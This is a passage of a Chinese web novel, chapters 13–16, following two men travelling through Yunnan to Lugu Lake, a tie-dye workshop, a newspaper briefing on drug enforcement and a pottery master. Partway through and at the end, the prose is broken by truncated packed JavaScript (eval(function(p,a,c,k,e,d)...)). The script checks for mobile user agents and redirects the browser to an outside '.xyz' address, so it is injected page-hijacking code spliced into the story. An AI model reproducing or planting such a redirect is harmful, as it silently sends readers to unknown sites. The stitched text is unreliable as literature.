三个顾客三个文身师,一人认领一个刚好,西堂审片子,西藏拍的最后那几个视频后期做好发过来了。 有后期有经费有团队有审核,审核还这么敬业和专业,沈弋百分之一万肯定事情不简单,他就等着西堂所谓的“时机成熟”。 他当然不会轻易放过有希望发现细枝末节的机会,所以他死活不出门,窝在西堂屋内,和他、丰继一起看视频,李木拍摄去了,他忙得过来,沈弋就下了。 他俩重新审之前的,二审,丰继透露最后西堂还得三审。听听!快赶上出版社“三审三校”制了! 初版的视频在沈弋被追尾前他就看过了,但现在后期制作完再看又是另一种感觉,质感上来了。 “你的后期很ok啊!”沈弋看得入迷。 西堂颔首。 丰继没说出口,心里暗怼,那可不,后期剪一次视频四位数。 视频只是一期,四十二分钟,看完都不到吃饭时间,沈弋无事可做正要晃回他自己屋内。 就被西堂喊住,被他叫出门。 这么神秘,沈弋兴致满满,嘴角的笑一路上没掉下来过。 直到……直到停在医院门口。 “你有病?”沈弋不假思索地出口而出。 收到西堂警告一睨,回赠他,“你有病。” “行,我有病,怎么说?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046880|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “复查一下你脑瓜子。” 沈弋有些无语,“我没事啊!现在四位数乘六位数都能算出来!” “6458×596368等于多少?”西堂手抵在沈弋后背脊柱上,把他往前推着走进去。 “不是,西哥,我的意思是我脑子没问题,不是真能口算出来。”沈弋说得手都抬起来比划自己的不满了。 西堂直接不理他,死死按着他,头偏过去挂号。 行,那就复查吧,沈弋短暂地注视西堂,一瞬间泄气妥协了。 周四人不多,结果出来得很快,的确没事了。 西堂和他回到酒店,大手一挥示意沈弋可以去撒欢了,沈弋笑嘻嘻道谢跑了。 沈弋没去哪,他在民宿周围的草地里乱走,走不远,就随意走走。 他脑袋不大,好奇心又太过于旺盛,每天往脑袋里塞很多东西,他得定期整理和清理。这样清净宜人的山野最为合适,耳边还有潺潺流水作为轻音乐。 他带着工作上的烦憎自驾到西藏,在云南的净土上把这件一直悬挂心头的肮脏事按下删除键。 脚下步履不停,晃得很慢,可以和乌龟赛跑,他溢出点笑,把从被西堂他们搭救后的记忆整理。所谓整理其实是一件一件、一帧一帧回忆放映,直到所有镜头都高清地放映结束,就算是整理好了,存档。 “小沈!” 沈弋被这一嗓子喊得脚下交叉走位,差点绊倒自己,九十度回头是丰继站窗口大力挥手招他回去。 “你是不是背着我们偷偷喝旁边河里的积雪融水把脑子喝坏了?!”沈弋飞速回去,往丰继旁边一站就火力全开。 “你才是背着我们偷偷去草地上啃草把嘴巴啃得染上来历不明的毒药了吧?”丰继学以致用,他发现这小子骂人真有特色。 “别学我,学人精!”沈弋冷笑,“什么事?”,一脸你最好真有事。 “文完了,文身图案你绝对感兴趣,叫你回来看新鲜导出的视频。” “哦~”沈弋秒变欢快,“走走走,丰哥赶紧!” 很独特的神像图案,沈弋从没有见过,其他人也没有见过。依稀可以辨认出佛、道文化,很像唐卡,可是细节处又不一样。 “这什么?”沈弋发问。 西堂回:“东巴文化。” “丽江特有的文化?”沈弋自问自答似的,“真有意思。” 他凑到电脑前随着一笔一画用眼神描摹一遍,退一边用桌面上另一台电脑点开浏览器输入“云南丽江东巴文化”几个字眼。 新界面跳出来,他先点开百度百科。 良久,沈弋动了动有些发麻的腿,扭头和西堂说:“我们明天去了解了解东巴文化吧,我从来没听说过,纳西族也没有听说过。” 西堂好像要被他眼里沸腾着的好奇和惊喜吸进去,面色柔和下来,“好,明天去。” 丰继往沈弋后脑勺一拍,“好奇心发作了是吧?” “哎呀,我怎么感觉头晕!”沈弋捂着后脑勺叫唤,“必须要吃顿好的才能好,你不请客我就脑震荡了!” 丰继笑骂他,同意了。 13. 第 13 章 了解优秀传统文化比较好的地方是哪里? 博物馆。 东巴是纳西族对传统宗教神职人员的称呼,意译为智者,是纳西族最高级的知识分子,他们多数集歌、舞、经、书、史、画、医为一身,是东巴文化的主要传承者。 东巴文化是一种宗教文化,是由东巴世代传承下来的纳西族古文化。东巴文化包括东巴象形文字、东巴经、东巴画、东巴舞、东巴音乐、医学、历史、天文学、哲学,还有东巴的各种道场就是祭祀活动,这部分也包含有民族心理素质的很多内涵在里头,所谓东巴文化就是指的一个庞大而完整的文化体系。 他们礼貌询问后,馆方很愿意随同讲解。沈弋和西堂两个人像是特意来调查的人员,耳朵里听着,手机里噼里啪啦打字记录,其他人就听一耳朵,了解多少算多少。 最后馆方讲解员稍显激动地和西堂、沈弋握手,他说,很长时间没有人来探寻过东巴文化了,它孤独的沉寂着,直到你们的到来。 沈弋说了些场面话哄馆方开心,几人才在馆方依依不舍的目送中离开。 沈弋忙着低头整理刚才记录的文档,不自觉地落后几步,将手记发送了一份给周宏,还没收起手机就被西堂推了后背带着往前走,沈弋笑笑把手机收起来。 午饭吃的云南菜,没喝酒,他们在一刻钟前临时决定要去泸沽湖,今晚在那边留宿,下午就走,不能喝酒。 沈弋双手一拍,“好哇!你们这些酒鬼喝不了酒了。” “饭可以乱吃,话不能乱讲,只有你西哥爱喝酒好吧,我们只是迎合老板兴趣爱好。”丰继扬言。 “嚯!”沈弋捧哏,“你还是个拍马屁的。” 又向西堂说:“那这,你看是该怎么着?” “开了吧。”西堂顺应他。 “嗐!”沈弋继续自娱自乐,“英明。” 沈弋是个话唠,和他们混熟以后一张嘴叭叭叭就不带停过,话太多了吃饭速度就慢了。 西堂把筷子一搁,“吃不吃,不吃就走了。” “吃吃吃,别急呀!”沈弋消停吃饭了。 几个人抽烟等着他,目光慈祥,沈弋感觉自己像个鸡笼里的鸡崽啄食。 真有闲工夫啊,沈弋感叹,民宿距离丽江市中心三四十公里,出来一上午就回去简单拿个过夜的东西又出来。 泸沽湖离得远,四个多小时的路程,而且山路十八弯,得亏是副驾驶,沈弋觉得自己要是坐后排真是五脏六腑得移位。 哼歌的情趣都没了,恹恹歪在副驾上瞅着窗外,西堂余光瞄他,看他那样不免好笑。 泸沽湖这边的饭店差强人意,起码他们选择的这一家不怎么样,像是刚学会做菜的人做出来的,调味料都有,就是不好吃。 沈弋差点吐出来,没吃多少就歇筷了,他没点酒,此时此刻有点想来一口缓缓嘴里的腻味,手一伸拿西堂的啤酒往自己的茶杯里倒了一杯,喝完往椅背上一靠,叹了口气,他觉得自己还不如去吃桶泡面。 “水土不服?”丰继问。 沈弋摇摇头,摆摆手,出声的力气都没有。 西堂伸手摸摸他的后脖颈。 沈弋提神勉强笑着说:“别人摸体温都摸额头,你怎么摸我后脖子。” 西堂看他没发烧也就不当回事了,继续吃饭,听他这么欠,道:“不舒服了嘴还不消停。” 沈弋咯咯笑了两声。 回到住宿处沈弋就不愿动,除了洗澡洗漱瘫成一团在床上,两人一间,问也不问吃了西堂不知道从哪弄来的两片药,脑袋渐沉就昏睡过去了,沈弋睡前迷迷糊糊怀疑是吃了安眠药。 早上被西堂拍醒,他感觉脸一疼,倏地睁眼,“你扇我干嘛?” “谁扇你,只是拍你。” “那我怎么这么疼,毁容了!”沈弋叫唤着起身去照镜子。 西堂静静看着他,有时候真不懂他哪来这么多戏码上演。 沈弋照着镜子看自己没有一丝可疑痕迹的脸,揉了揉,是不疼。 洗漱完容光焕发,精神气十足,他把包一背,“走吧!” 西堂拔卡关门。 他们潦草吃了个早餐就过来乘船处,150元一个人,沈弋随口问一句:“这钱全部归你们还是公司分成?” 划船师傅操着口不利索的普通话说:“全归我们。” 沈弋点点头,“那就好。”,毕竟这船是人工一船桨一船桨划的,夏天倒还好,冬天就难了。 夏天的泸沽湖基本没有雾气,八点是水性杨花盛开的时间,太阳已经升起挂在半空,今天天气不错,云层逐渐散去。 他们分两船,六月份国内学生基本没放假,又是工作日,泸沽湖只零散看得见两三条船在湖上飘。 天和湖之间只有两种颜色,被山隔开,湖水清澈见底,也就造就了天水一色,天是蓝色,水也成了蓝色,水性杨花的根随着水波好似在洋洋摇晃。 水性杨花是泸沽湖的特有,只有这样清澈的湖水才能孕育出这样洁白无瑕的水性杨花,黄色的花芯把纯洁弱化,多了点俏皮可爱。沈弋为自己的想法发笑,看一朵花也能拟人化出这么多形容来。 划船师傅技术到位,坐在船里人身是平稳的,沈弋放心大胆地拍风景。泸沽湖划船一趟很短,但是风景实在太好了,足够沈弋拍得尽兴。 船头船尾俩划船师傅是一对夫妻,暂时停靠十五分钟,大叔站在船头把烟一抽,气氛到位了,沈弋按下快门,出片超出预料,又给大婶拍了两张。俩人风吹日晒后的皮肤肌理太适合船夫这个身份了,沈弋从镜头里看得又心酸又满意。 西堂和大叔聊了几句,他处于询问者的身份是很从容的,那种从容不是书读得多就能有的,更多的是阅历和见识,他行过万里路,和不计其数的男女老少打过交道,在三十一岁沉淀出这种平和、不刻意的从容来。 从容的西堂可以让被他询问的人感到舒服,很自然地和他一问一答,整个过程好像没有感到被询问,更像是素未谋面的老友见面聊聊天。 沈弋的镜头不知不觉间停留在西堂身上,他自己知道是在偷摸拍,可由于他根本不避人,在他们看来是 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有些话不用明说、不用听懂,心意就可以传递清楚。 剩下的半天把泸沽湖沿路线转了一圈,篝火晚会没有参加,场地比较小,又是室内院子,料想不会好玩。 晚饭沈弋特意点了份水性杨花,比起那些让他倒胃口的鸡鸭鱼肉,他就着这道菜炫下两碗饭。 饭毕,赵哥问直接走还是留宿一夜。 沈弋滋哇乱叫:“赶紧走!赶紧走!我求你们了!再待下去你们就要失去小沈了!我可以一路给你们换着开!” 其他人哭笑不得,听他的直接走了,昨晚他精神不济大家都知道他难受。 回到民宿都凌晨了,沈弋这时候些许歉意涌上心头了,问大家吃不吃夜宵,他们饿倒不饿,只是单纯的疲惫,但看他一脸不好意思,几个人心软点头了。 谁让小沈面若桃花,两眼巴巴。 民宿太过于远离市中心,要吃夜宵只能民宿厨师来做,厨师竟然还没睡,民宿老板说是因为收到消息知道他们要赶回来,所以民宿服务人员基本没睡。 这服务太到位了,沈弋连连赞叹,一边抱歉一边想吃的却没少点。 他们没怎么吃,年龄摆在那,三十岁开四五个小时又是大半夜食欲不强,只是聊天陪着吃得满嘴流油的沈弋,西堂的酒断断续续没停过。 沈弋心里质疑他喝这么多酒会不会肾虚。 大家各自回屋休息了,沈弋还惦记着照片,他导出来,简单修了修那五张,他后悔没有给大叔大婶拍张合照,大婶红了的眼睛不言而喻,他们肯定连张像样的照片都没有,更不用说合照。 沈弋遗憾地搞出张假照片,虽然是假的,但也算是张像模像样的合照。 叼着根烟提神,把所有照片趁着雅兴一口气修完了,一一分发给他们几人和大叔。 电脑一关,沈弋卷着被子想这一两千的床就是舒服,遂呼呼大睡。 14. 第 14 章 沈弋的拍照技术收获一致好评,可称之为人生照片。 前两天的三个顾客的视频后期剪出来了,西堂不出门了,其他人就地解散各做各事,沈弋磨磨蹭蹭在纠结要不要留在民宿。 西堂看他杵在那,难免不笑出声,说:“丽江只留今天了,你要玩得抓紧时间。” 这话一出,沈弋就拿上车钥匙跑了,他的蓝月谷他的云杉坪!他昨晚做过攻略的,大夏天的玉龙雪山是没有指望了。 购票,观光车,到蓝月谷。 湖水湛蓝湛蓝的,阳光点缀出波光粼粼,随手一拍就是大片。沈弋从前往后走了一圈就转场云杉坪了,可能这两天太热闹了,他自己一个人在这里玩得索然无味,也可能……差了个人在旁边。 到了云杉坪他没有再四处走动,找了块看上去不错的草坪,有点坡度,席地而躺。怎么老是席地而做什么,席地而睡、席地而坐,现在席地而躺,沈弋自己乐了半天。 四周静谧,只有风略过云杉留下的枝叶摩擦声和零零散散的人声。沈弋不知不觉就出神,琢磨出点意思,又太过于虚无缥缈和模棱两可。 从会有情窦初开这种情感的青春期开始,沈弋身边不缺追求者,他见过形形色色的人,样貌可观的一抓一大把,屈指可数的三两个让他产生好感,但面对面一交流,不出十句话沈弋就没有说话的欲望了。 他有时候非常不明白,为什么很大部分人的言语会匮乏得这么糟糕,他始终不明白“吃了吗”“在干嘛”“想没想我”这种话说了有什么意义。他和同事能以一本书、一部电影、随便一个论题想法层出不穷讨论几个小时,从相处的第一天开始,“吃了吗”这种话完全不可能出现在他和朋友的聊天里。 当然不能一刀切,这些只是他的个人看法,他不愿意甚至可以说非常抗拒一段以“爱”为基础和核心的感情每天充斥着废话。 还好他是单身主义……如果非要让他说出他理想的爱情相处状态,他希望他们永远不会有人问出“你吃了吗”这句话,他们可以有话就说,没话就静静的做各自的事,等想说了再说。 但以他对伴侣的灵魂契合的过分要求,没有人能达到这个标准,他又要对方宛若天神一样富有诗书气自华不可亵渎,又要对方像个凡夫俗子一样过平凡生活,又要对方浪漫随性和他有共同爱好,又要对方有独特的一面能吸引他,还要……太难了,所以沈弋觉得他自己孤独终老不成问题。 沈弋检讨自己的择偶标准和爱情观,模模糊糊竟然睡过去了,真是“何如饮酒连千醉,席地幕天无所知。”,那他也没有喝酒啊! 他默默嫌弃自己,接起电话,还没看清是谁打来的,“喂?” “听声是才睡醒?”陈昀更加不爽,“你倒是舒服,我他妈给你收拾烂摊子都要忙死了!”骂了两句,还不忘操心,“睡哪啊?我都没忙得抽时间打个电话好好问问你怎么样。” “睡草地上呢,还挺舒服。”沈弋拍拍身上的几根草,往回走,“是啊,陈总打电话过来骂我几句就挂了,我都没来得及汇报我的日志。” “哟,天为被地为床,不错,非一般人能到达的境界啊。”陈昀笑了,“再说你是不是欠,没有我在这忙得饭都没吃,你哪来的时间过逍遥日子。” “是是是,谢谢陈总,你那边怎么样?” “一切顺利,重新走上正轨了,周老师把关能有什么差错?” 陈昀的话让他放下心,“那就好。”,那就好,听着就是多么勉强和不易的三个字。 陈昀开始这通电话的目的,“怎么说,玩开心了吗?看你发微博撒气了,这是玩开心了吧?” 沈弋释然地说:“开心了,具体的回去再聊。” “什么时候回?” “君问归期未有期。”沈弋耍混道。 “最多再放任你半个月,再不回来你就完了!”陈昀给他下最后期限。 半个月啊…… 是……没多长时间了,可能,半个月都不需要了。 “知道了。”沈弋心情一落千丈。 陈昀没察觉,“挂了。” 沈弋一觉睡了两个小时,出来的时候买了点纪念品,明信片和几个冰箱贴,按自己喜好买的,那几个老年人应该没有收藏冰箱贴的习惯,但不管了,送不送是他的事,怎么处理是他们的事。 回到民宿的时候他们在打麻将,齐齐两桌,民宿老板和西堂他们一桌。 “回来了。”丰继最先瞅见他。 “你赢钱没?”沈弋随意站在他旁边看牌,问。 “有你西哥在谁想赢钱。”丰继气愤说。 沈弋到现在还不知道民宿老板姓什么,他没主动和民宿老板搭话。 不过民宿老板倒先自己说话了,“你吃过没有,用不用给你安排晚餐?” 沈弋忙拒绝,“不用不用,我吃过了。” 民宿老板没再说话,西堂手一推胡了。 丰继骂骂咧咧两句,起身把沈弋按坐下了。 “打多大的,我不会倾家荡产吧?”沈弋嘴里说着,把手里提着的纪念品礼袋放好。 这里恐怕就他最穷,要么文身师,含金量不错的那种,看技术就知道了,要么住一夜一千多的民宿老板,要么这辈子都不缺钱的西堂。 同桌的文身师说:“三十,陶冶情操。” 沈弋听闻挑了挑眉,“那可真有情操啊。” 最后散场的时候刚过晚上十点,对于平日的他们来说夜生活才刚刚开始,明天要起早就走,今晚玩到现在差不多了。 民宿老板拉着大伙拍了张照留念,他打得酣畅淋漓。丰继说错了,民宿老板牌技好,难得遇上西堂,两人你来我往打得针锋相对,沈弋和另一个文身师像是凑人数的。 沈弋把纪念品递给众人,他们表示感谢的方法就是拍拍他的肩膀,拍得他肩膀疼,这是感谢还是恩将仇报啊喂! 起早启程,路过大厅,沈弋看见他们和民宿老板的合照已经被挂在现眼的位置,拍得很随意,麻将散乱满桌,丰继坐在他身旁,所有人只是目 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扎染体验店是现场找的,西堂随便进了家店,开口就不客气地问:“大理最好的扎染工艺店在哪?” 店老板打量他几眼,报了个地名。 这里不仅是扎染博物馆,而且可以体验实操。 馆里存有很多古老别致的扎染图案,西堂今天沉默向,低头拍各个图案,沈弋心里谴责,表面上和颜悦色和馆里的阿婆聊天。 其实冤枉西堂了,他打心底里是放心沈弋的,所以把交流的任务交给沈弋,他专心沉默。 阿婆守着扎染过了几十年了,染缸里的水把布匹染得花色各异,却染不黑阿婆逐渐白了的头发。 跟随阿婆到扎染体验区,沈弋豪言壮志要尝试最难的,阿婆依他,让他选扎染物品。 沈弋考虑到家里的梁女士,果断选了条裙子。 另外两个文身师不明所以,还以为他交对象了打趣几句,搞得沈弋被迫解释是给梁女士的。 其他人就意思意思走个体验,选的图案简单易下手,阿婆召开几个馆里的姑娘指导他们。偏沈弋和西堂选的图案复杂,阿婆亲自动手。 第一步就是扎花,两个人缝不来针线,惹得阿婆怪罪。 “是你们俩体验还是给我找活干?!” 沈弋不怕,嬉皮笑脸把阿婆哄得笑嗔他。 浸染的时候阿婆都快手把手操作了,要不是顾及俩人的体验感,她盯得仔细,生怕俩人一个不小心搞坏了她的杰作。 西堂和沈弋万分小心,他俩都懂,每一件作品对于手艺人来说都是同等重要的,只要开始了创作,就会竭尽所能让它尽善尽美。 他俩没辜负阿婆的那份认真,浸染后蒸煮、晒干、熨平,几个小时后成品出来很不错,瑕疵是有的,但像模像样,若是卖,能卖出个好价钱嘞。 晚饭去阿婆推荐的一家老店,生皮、雕梅、左手拿喜洲粑粑,右手夹石锅鱼,酒足饭饱后再来上壶三道茶,谁心里还能挂念着俗事? 15. 第 15 章 【云南警方查获毒品案,缴获毒品120公斤】 他们的地址IP自动识别为云南,推送的新闻也就多数为云南的事件,沈弋一大早就看到这条推送,大吃一惊,脑海中翻涌着千思万绪。 他把这条新闻转发给西堂和陈昀:别的省份以克论,云南以公斤论。 待沈弋洗漱好穿戴整齐,手机响了一声,是西堂的回复。 西堂式一字经:走。 走哪?做什么?为什么走?不说,就看你走不走。 当然走啊,说得太清楚了可能沈弋就没兴致走了,就这样什么都不说反倒是勾起他的好奇。 “走!”沈弋敲响西堂的房门,不光敲还站门口大喊,还好西堂包了这层楼,不然多少可能被投诉,因为才上午九点。 西堂打开门,让他进去等一会儿,他吹个头发。 门没关,大清早没陌生人会在别人的楼层乱晃,沈弋坐沙发上发个呆,丰继边走边穿衬衫进来。 丰继看他坐着:“走。” 沈弋被他搞得一愣,过了两秒稳不住神色灿灿笑。 “不管什么热闹都凑是吧?”全都有病,他有病,西堂有病,丰继有病,都有病! 丰继被他笑得莫名其妙,但却不知所谓地跟着也笑,“是啊,走就走呗,管你去哪。” 最后出门的时候八个人齐活了,都被沈弋那震天撼地的一嗓子喊醒了,醒都醒了,走呗,爱去哪去哪,跟着走呗。 西堂和沈弋在今天表现出惊人的默契,其他人一头雾水跟随,可他俩心知肚明。尽管知道是去了解那条新闻的具体事件,但是要从什么方向了解,要去什么地点了解,要找什么人了解,这里面有无数个选项。 去政府太过于权威,去街头巷尾太过于随意,去哪,去报社,找谁,找记者。 沈弋满心欢喜,他热衷于“默契”,永远以最真诚的态度对待和他拥有默契的人。 深入了解缉毒工作和毒品问题是西堂早有的打算,在听见女士讲阿玄的那天他就把这件事计划到行程里,阴差阳错下和沈弋的想法不谋而合。 西堂看着沈弋压都压不住的嘴角,他的快乐真简单,二十五岁,一个刚刚入世不深的年纪,想法却成熟老练,常常出人意料。西堂眼底划过他自己都没有察觉的欣喜之色。 他们表明来意,记者拿不准主意,转身请来主编,主编一心为党,听到有人想了解这方面后热情招待。 主编说: 云南的边境线总长度为4060公里?,需要不可胜数的血肉之躯英勇无畏的前仆后继才能勉强阻挡毒品侵害国民、筑起一道禁毒之界。2023年以来,云南省公安厅组织全省公安禁毒部门重拳出击,持续释放严打毒品违法犯罪的鲜明信号。全省共破获毒品刑事案件4155起、同比下降15.82%,抓获犯罪嫌疑人4351名、同比下降15.86%,缴获毒品18.58吨、同比上升29.28%,阻截欲走私出境的各类化学品6472.78吨、同比上升28.93%,充分发挥了云南作为全国禁毒斗争主战场、主力军的作用。 “三生教育”是云南仅有的教育理念,生命、生存、生活,先得保障生命,才能拥有生存的资本,最后才是不断改善生活。 天灾和人祸哪个更令人悲痛,没有人能说出正确答案,但是毒品的侵害确是深深刻进每一个云南人的心脏。 “有一种叫云南的生活”倡议下很多游客来到云南旅游,游赏了云南的风花雪月和民风习俗,却有部分外省游客在网上说云南人的“冷漠”,不,这不是“冷漠”,这是一种自我保护的意识。 云南人活得悠闲自在,生活意识却不随便,他们从小就被灌输不随便和陌生人说话、不随便吃陌生人给的东西、不随便跟陌生人走。 这是北方没有的,提起北方,多是热情好客、爽朗大方,谁家孩子丢了都会有大人好吃好喝照顾好,谁吃饭没带钱直接白送你一碗,路上认识个投缘的人那就一起喝顿酒吧…… 而这是云南没有的。 招待室里的气氛降至冰点,窗户大开却好像空气稀薄得喘不上气,主编的话不断冲击着每一个人的心灵。 西堂不得不抽了根烟,打火机的声音惊醒了其他人。 他问:“吸毒的呢?” 主编调出数据:现有吸毒人员从2023年的8.1万名下降至目前的7万多名,戒断三年未复吸人员从2023年的23万名上升至目前的24.29万名。 “三年未复吸”几个字触目惊心。 不是彻底戒断,只是未复吸,并且是三年,短短三年。 “戒毒成功的人多吗?”沈弋用尽力气问出。 “很少,非常少。”主编实话实说。 戒毒成功的人几乎为零,所有吸毒的人会一辈子复吸,毒瘾深入骨髓,在一些细小、轻微的动静下提醒你,一声轻微的打火机的声音、用来做面食的淀粉、烧焦物品散出的细小白烟、贩毒人员的一句“来点吗”……这些都会让吸毒人员想起吸毒的极乐快感。 沈弋听到这无端地想起一部经典香港影片,叫《门徒》,吴彦祖饰演缉毒警察,在最后的镜头,他出于不理解为什么这么多人堕入吸毒的歧途,他便想要试试看,幸亏小女孩的出现打断了他,但也许,也许在以后,想试试的邪念会一直伴随着他,他没有吸毒,但却变相有了毒瘾。 有些东西是生而为人永生永世不能尝试的,忍住那点作祟的好奇心。 沈弋好像知道他的下一部作品如何创作了。 他们想请报社全体吃顿饭,但被刚正不阿的主编拒绝了,告别主编后回到车上,西堂让沈弋点个下午茶送到报社,沈弋晃晃手机竟是已经点好了,两个人不免相视一笑。 沈弋想,不会有人在听到云南的这些血泪故事后扭头就忘,这些事会被铭记于心,不断复诵传播,深入人心,越来越多的人知晓不一样的云南,远离毒品,珍惜生命。 中午不怕死地去吃了锅菌子火锅。 店里全都是外省人,老板嘿嘿一笑说:“云南人不吃菌子火锅。” 丰继不明白,问:“ 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店里顾客纷纷你一言我一语“咒骂”出声,老板犯贱舒坦了,往点餐台一坐消停了。 几乎没人吃饭,也没人短时间吃完,店里坐着的顾客一坐就是两三个小时,新顾客进来一瞅没座位了扭头出去,老板大手一抬,“吃完的赶紧走啊,我顾客都跑了!” 嘿,不爽,所有顾客也大手一抬,“再来一锅!” 沈弋实在塞不下了,迫不得已歇筷,打了个嗝。 消食走哪?走剑川古城。 “是消食还是开车?是不是有病?你们是不是有病?”丰继咆哮。 谁消食开车一个半小时、驶一百公里?! 沈弋喜欢这种有病的不可思议的随心所欲的生活! 他咆哮回去:“是啊,那咋了!你别跟着啊!” “我这个人比较从众。”丰继拧响发动机。 剑川古城民居风貌保存完整,几乎囊括了整个白族的建筑风格,斑驳木板门上贴着白底黑迹的诗画,瓦檐屋顶被花草缠绕,一米高的石墙往上才是白墙,时不时能看到一座土房,土房却雕窗画顶,两三米宽的石子路把房屋隔成两排,一块块小石板铺成弯弯曲曲的人踩小道,排着走、并排走都可以。 他们来得天时地利人和,人很少,古城的宁静祥和完全没有被打扰,稀稀疏疏能看见几个人,他的相机又是一路不停。 民宿老板张罗拍出来的那张合照激起了沈弋的想法,他随机抓了个天选过路人,“请问你方便帮我们拍张照吗?” “当然。” 丰继左看右看,退了一步把西堂挤到沈弋旁边,沈弋头朝一边没发觉,西堂看了丰继一眼,丰继佯装清白无知。 快门按下,画面定格,相机回到沈弋手里,他检查了一遍画面是否失焦,每个人的面容是否可以。 “诶!你站我旁边啊,我都没发现。” 16. 第 16 章 回去的路上沈弋买了些瓦猫,非遗泥塑。 瓦猫原是指置于屋脊正中处的瓦制饰物,因其形象很像家猫而得名。传说瓦猫能吃掉一切妖魔鬼怪,有镇宅的作用。人们将它安置在房顶、飞檐或门头的瓦脊上,以吞食一切冲犯本宅的疾疫祸害和四野鬼怪。云南民间瓦猫种类繁多,造型迥异,多为陶制,也有少量石制,有上釉和无釉之别。 沈弋挑得眼花缭乱,每个瓦猫精致小巧,张牙舞爪的模样很有生命力,他上釉和无釉都拿了一部分。 人在旁边,他当面就让他们挑,顺带要付钱,几个年龄大沈弋几岁,哪里好意思一直被沈弋送这送那,争抢着要付钱,最后李木抢赢了,一举拿下付钱机会。 “我也是体验过被七个男人争抢着付钱了。” 其他人笑骂他让他赶紧闭嘴别恶心人。 回到酒店,沈弋才有时间打开微信回复消息。 陈昀:新灵感吗,能成为下一部作品吗? 沈弋打字:很大可能。 他挺想把他的所见所闻广而告之,何况这个内容所涉及的意义如此非凡。 有些小县城不适合旅游,但适合吃喝。 大理如同香格里拉和丽江一样没有多待,大理不适合快节奏旅游,它更适合闲居,可惜他们没有闲情雅致的条件长留于此。 按照网上的攻略,这个小县城可以吃三天三夜。 民宿选址独特,在一条夜市的三楼,一楼是店面,二楼是家茶室,三楼往上是民宿出租,套房,他们八个人租了三层楼。 沈弋已经被他们默认划分给西堂了。 “诶诶诶!什么意思?我就这么想跟西堂一间吗?”沈弋扬眉试图为自己正名。 鸦雀无声…… 没有人理他,其他几人看他一眼上楼了,西堂更是眼神都不带施舍的刷卡进门了。 太过分了!沈弋恨不得叉腰跺脚以示愤怒,但他做不来这个动作,自己泄气推门进屋了。 凉拌、酸甜、麻酱、香辣、草芽、臭豆腐、小锅、砂锅……这些都是菜单上米线的前缀。 沈弋目不暇接,纠结症犯了,他有些崩溃,默默眼一闭转身,对着西堂长吁,说:“你帮我点吧,我选不出来,先去占座。” 西堂嗤笑,轻拍他的后脑勺,“去吧。” 开盲盒的沈弋最后得到了一碗加了香酥、肥肠、氽肉的红烧草芽米线。 米线的热气扑鼻,他不禁眯了眯眼,似笑非笑看着西堂。 西堂神色平静,“满意了吗?” 沈弋破功,咧嘴笑起来,拿了筷子搅拌搅拌,“满意了。” 各种小料很多,除了沈弋不吃的香菜,好像都被放了一遍。 嗯?!他什么时候知道我不吃香菜了?沈弋惊觉,斜眼瞄一眼西堂,没问出口,有些东西吧,不需要知道得事无巨细。 午饭后回到住宿,沈弋被身上的那股米线店里的味熏得皱眉,挡凉的薄衬衫一脱,手抓着前衣领一拉就光膀子了。 他胃里有点后知后觉的油腻感,抬手按了按肚子。 “摸自己腹肌还要脱光?”西堂灌了两口水,一抬眸就看见沈弋上半身□□站那里自我欣赏腹肌。 沈弋朝他翻了个大大的白眼,不留眼珠那种,“你要不要听听你自己在说什么,难道午饭的那碗米线里的肥肠没洗干净、残留物钻进我的脑子里控制住我了吗、我站在这里摸腹肌?” “3,2,1,后半句话重复一遍!”西堂在沈弋话音刚落的时候立马脱口而出。 沈弋不假思索,语速飞快:“难道午饭的那碗米线里的肥肠没洗干净、残留物钻进我的脑子里控制住我了吗、我站在这里摸腹肌?” 西堂给他竖了个大拇指。 沈弋得意眨眨眼,随后问:“你什么安排?” “体验手艺人。” “走。”沈弋衣服一穿,穿完想起来还有个问题,“就咱俩?” “你别喊一嗓子肯定就咱俩。”西堂回。 “不喊了。”沈弋又问,“那他们呢?” “他们三十岁了,需要你操心?”西堂反问他。 “哦哦哦,走走走。” 紫陶,非遗陶器烧制技艺,中国四大名陶之一。陶泥取自境内,含铁量高,使成器硬度高,强度大,表面富有金属质感,叩击有金石之声。经无釉磨光,精工细磨抛光,质地细腻,光亮如镜。有“坚如铁、明如水、润如玉、声如磬”之誉。 紫陶讲究精工细作,尤其注重装饰,它以书画镂刻、彩泥镶填为主要手段,集书画、金石、镌刻、镶嵌、等装饰艺术于一身。紫陶集实用性与观赏性于一身,有壶、杯、盆、碗、碟、缸、汽锅、烟斗、文房四宝等产品。 西堂事先预约好的一家老字号,这次不免费,不过老师傅只是走个过场收了几十块钱。 沈弋心里嘀咕,西堂做事就是有条不絮。 老师傅老当益壮,高龄八十六,身体硬朗,耳聪目明。腿脚灵活地带领他们看窑子和成品。 工厂在山脚下,低矮的厂房,很不起眼,厂里的情景和沈弋所想象的有差异,几十名工人四处散落各司其职,没有热火朝天的喧嚣,没有工人穿梭繁忙,也没有太过现代化的机器设备,只有耐得住性子的工人安静地低着头工作,锥子、画笔、刻刀、锤子等工具要么落在脚边,要么握在手里。 偶尔有几句细微模糊的交流声,或者电动陶车上传来的嗡嗡的拉坯声,角落里还有两个孩子不吵不闹的待着,老师傅说是工人的孩子放学回来。 西堂和沈弋没有过多停留在工厂里,待久了难免打扰到工人,他们有眼力劲儿地走了。 这老师傅声如洪钟,沈弋感觉他们再待下去就要被工人的眼刀杀死了。 老师傅打开间一百平左右的屋子,他自己做陶的地方,仅限于茶壶、茶杯和碗碟。 他递给西堂个眼神,西堂跟上,沈弋被晾在一边。 “为什么不叫我,打什么哑迷?” “这急性子,还藏不住事。”老师傅听见沈弋的叫声,充耳不闻,和西堂说话。 “是,成天一惊一乍的。”西堂当他夸沈弋,顺着说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 